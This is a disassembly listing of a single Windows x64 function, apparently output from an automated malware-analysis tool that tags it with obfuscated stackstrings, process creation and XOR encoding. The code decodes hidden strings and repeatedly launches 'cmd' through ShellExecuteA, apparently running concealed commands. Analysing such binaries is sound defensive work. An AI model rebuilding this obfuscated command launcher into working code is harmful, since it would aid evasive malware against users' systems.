Function at 0x140002270
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Encode data using xor

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rdi
push r14
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
cmp qword [0x140006718], 0x10
lea rdi, [0x140006700]
mov r14, qword [0x140006710]
jb 0x140001777
mov rdi, qword [0x140006700]
mov qword [rsp + 0x198], rbx
add r14, rdi
mov qword [rsp + 0x190], rsi
xorps xmm0, xmm0
xor esi, esi
mov ebx, 7
mov qword [rsp + 0x48], rbx
movups xmmword [rsp + 0x30], xmm0
cmp rdi, r14
jne 0x1400017b2
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
jmp 0x1400018cc
mov rax, r14
movabs rcx, 0x7ffffffffffffffe
sub rax, rdi
mov rdx, rsi
mov qword [rsp + 0x40], rdx
cmp rax, rcx
ja 0x140001e5e
cmp rax, 8
jb 0x140001880
mov rbx, rax
or rbx, 7
cmp rbx, rcx
jbe 0x1400017ee
mov rbx, rcx
jmp 0x1400017fa
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
mov rcx, 0xffffffffffffffff
mov rax, rbx
add rax, 1
cmovb rax, rcx
movabs rcx, 0x7fffffffffffffff
cmp rax, rcx
ja 0x140001e58
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x140001860
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001e58
mov rcx, rax
call fcn.1400022b0
mov rcx, rax
test rax, rax
je 0x140001919
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov rdx, qword [rsp + 0x40]
jmp 0x140001874
test rcx, rcx
je 0x140001871
call fcn.1400022b0
mov rdx, qword [rsp + 0x40]
jmp 0x140001874
mov rax, rsi
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x48], rbx
nop
movsx eax, byte [rdi]
lea rcx, [rsp + 0x30]
cmp rbx, 8
cmovae rcx, qword [rsp + 0x30]
inc rdi
mov word [rcx + rdx*2], ax
mov rdx, qword [rsp + 0x40]
inc rdx
mov qword [rsp + 0x40], rdx
cmp rdi, r14
je 0x1400018b2
mov rbx, qword [rsp + 0x48]
jmp 0x140001880
cmp qword [rsp + 0x48], 8
lea rax, [rsp + 0x30]
cmovae rax, qword [rsp + 0x30]
mov word [rax + rdx*2], si
mov rbx, qword [rsp + 0x48]
cmp rbx, 8
lea rdx, [rsp + 0x30]
cmovae rdx, qword [rsp + 0x30]
call fcn.140001530
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x140001925
mov rcx, qword [rsp + 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001920
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001920
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002544
movdqa xmm0, xmmword [0x140004630]
lea r9, [rsp + 0x61]
movdqa xmm1, xmmword [0x1400046c0]
lea r8, [rbp + 0xc1]
movdqa xmmword [rsp + 0x60], xmm0
lea rdx, [rbp + 0xc9]
movdqa xmm0, xmmword [0x140004710]
xor ecx, ecx
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm0, xmmword [0x140004540]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [0x140004680]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm0, xmmword [str.__d__unloading_____v_ObjectName_____v_ImagePath_G_DWORD__d_2__f_.__4e]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm1, xmmword [0x140004670]
mov dword [rsp + 0x28], esi
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmmword [rbp - 0x50], xmm1
mov dword [rbp - 0x30], 0x22662f
mov dword [rbp + 0xc0], 0x646d637e
mov byte [rbp + 0xc4], 0
mov dword [rbp + 0xc8], 0x65706f1d
mov word [rbp + 0xcc], 0x6e
mov qword [rsp + 0x20], rsi
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [0x1400045e0]
lea r9, [rsp + 0x31]
movdqa xmm1, xmmword [0x140004580]
lea r8, [rbp + 0xc1]
mov dword [rsp + 0x28], esi
lea rdx, [rbp + 0xc9]
xor ecx, ecx
mov dword [rsp + 0x50], 0x22657865
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x54], 0x20542f20
movdqu xmmword [rsp + 0x40], xmm1
mov dword [rsp + 0x58], 0x22462f
mov dword [rbp + 0xc0], 0x646d6373
mov byte [rbp + 0xc4], 0
mov dword [rbp + 0xc8], 0x65706f15
mov word [rbp + 0xcc], 0x6e
mov qword [rsp + 0x20], rsi
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [str.Gh_ge5__gge]
mov rcx, rsi
movdqa xmm1, xmmword [0x140004570]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [0x1400045a0]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm0, xmmword [0x1400046b0]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [0x140004560]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm0, xmmword [0x1400045b0]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm1, xmmword [0x140004500]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm0, xmmword [0x140004690]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm1, xmmword [0x140004590]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmmword [rbp - 0x30], xmm1
mov byte [rbp - 0x10], 0
nop word [rax + rax]
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x61], al
inc rcx
cmp rcx, 0x8f
jb 0x140001ae0
mov dword [rsp + 0x28], esi
lea r9, [rsp + 0x61]
lea r8, [rbp + 0xc1]
mov qword [rsp + 0x20], rsi
lea rdx, [rbp + 0xc9]
mov byte [rbp - 0x10], 0
xor ecx, ecx
mov dword [rbp + 0xc0], 0x646d637b
mov byte [rbp + 0xc4], 0
mov dword [rbp + 0xc8], 0x65706f61
mov word [rbp + 0xcc], 0x6e
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [0x140004610]
lea r9, [rsp + 0x61]
movdqa xmm1, xmmword [0x1400046c0]
lea r8, [rbp + 0xc1]
movdqa xmmword [rsp + 0x60], xmm0
lea rdx, [rbp + 0xc9]
movdqa xmm0, xmmword [0x140004710]
xor ecx, ecx
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [0x140004680]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm0, xmmword [0x1400045c0]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm1, xmmword [0x140004550]
mov dword [rsp + 0x28], esi
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmmword [rbp - 0x50], xmm1
mov byte [rbp - 0x40], 0
mov dword [rbp + 0xc0], 0x646d630d
mov byte [rbp + 0xc4], 0
mov dword [rbp + 0xc8], 0x65706f36
mov word [rbp + 0xcc], 0x6e
mov qword [rsp + 0x20], rsi
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [0x140004600]
lea r9, [rsp + 0x61]
movdqa xmm1, xmmword [0x1400046c0]
lea r8, [rbp + 0xc1]
movdqa xmmword [rsp + 0x60], xmm0
lea rdx, [rbp + 0xc9]
movdqa xmm0, xmmword [0x140004710]
xor ecx, ecx
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [0x140004680]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm0, xmmword [0x1400045d0]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm1, xmmword [0x1400046a0]
mov dword [rsp + 0x28], esi
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmmword [rbp - 0x50], xmm1
mov word [rbp - 0x40], 0x22
mov dword [rbp + 0xc0], 0x646d6306
mov byte [rbp + 0xc4], 0
mov dword [rbp + 0xc8], 0x65706f61
mov word [rbp + 0xcc], 0x6e
mov qword [rsp + 0x20], rsi
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [0x140004620]
movdqa xmm1, xmmword [0x1400046c0]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [0x140004710]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [0x140004680]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm0, xmmword [0x140004530]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm1, xmmword [0x1400046d0]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmmword [rbp - 0x50], xmm1
mov dword [rbp - 0x40], 0x536c6163
mov dword [rbp - 0x3c], 0x65747379
mov dword [rbp - 0x38], 0x2f20226d
mov word [rbp - 0x34], 0x2266
mov byte [rbp - 0x32], 0
mov dword [rbp + 0xc0], 0x646d6343
mov byte [rbp + 0xc4], 0
mov dword [rbp + 0xc8], 0x65706f6e
mov word [rbp + 0xcc], 0x6e
mov dword [rsp + 0x28], esi
lea r9, [rsp + 0x61]
lea r8, [rbp + 0xc1]
mov qword [rsp + 0x20], rsi
lea rdx, [rbp + 0xc9]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xc0]
call fcn.140001e70
mov r9, rax
mov r8d, 0x3a
lea rcx, [rax + 2]
movzx edx, byte [r9]
xor byte [rcx - 1], dl
lea rcx, [rcx + 5]
movzx edx, byte [r9]
xor byte [rcx - 5], dl
movzx edx, byte [r9]
xor byte [rcx - 4], dl
movzx eax, byte [r9]
xor byte [rcx - 3], al
movzx eax, byte [r9]
xor byte [rcx - 2], al
sub r8, 1
jne 0x140001d50
mov byte [r9 + 0x123], r8b
lea rdx, [rbp + 0xd1]
mov byte [rbp + 0xcc], r8b
inc r9
lea r8, [rbp + 0xc9]
mov dword [rsp + 0x28], esi
xor ecx, ecx
mov dword [rbp + 0xc8], 0x646d637a
mov dword [rbp + 0xd0], 0x65706f61
mov word [rbp + 0xd4], 0x6e
mov qword [rsp + 0x20], rsi
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [0x1400046f0]
lea r9, [rsp + 0x31]
mov dword [rsp + 0x28], esi
lea r8, [rbp + 0xc1]
lea rdx, [rbp + 0xc9]
mov dword [rsp + 0x40], 0x63764168
xor ecx, ecx
mov dword [rsp + 0x44], 0x76537074
movdqu xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x48], 0x2263
mov byte [rsp + 0x4a], 0
mov dword [rbp + 0xc0], 0x646d6362
mov byte [rbp + 0xc4], 0
mov dword [rbp + 0xc8], 0x65706f43
mov word [rbp + 0xcc], 0x6e
mov qword [rsp + 0x20], rsi
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rsi, qword [rsp + 0x190]
mov rbx, qword [rsp + 0x198]
add rsp, 0x1a0
pop r14
pop rdi
pop rbp
ret
call fcn.140001120
int3
call fcn.1400011c0
int3
lea rcx, [0x1400066e0]
jmp 0x140001740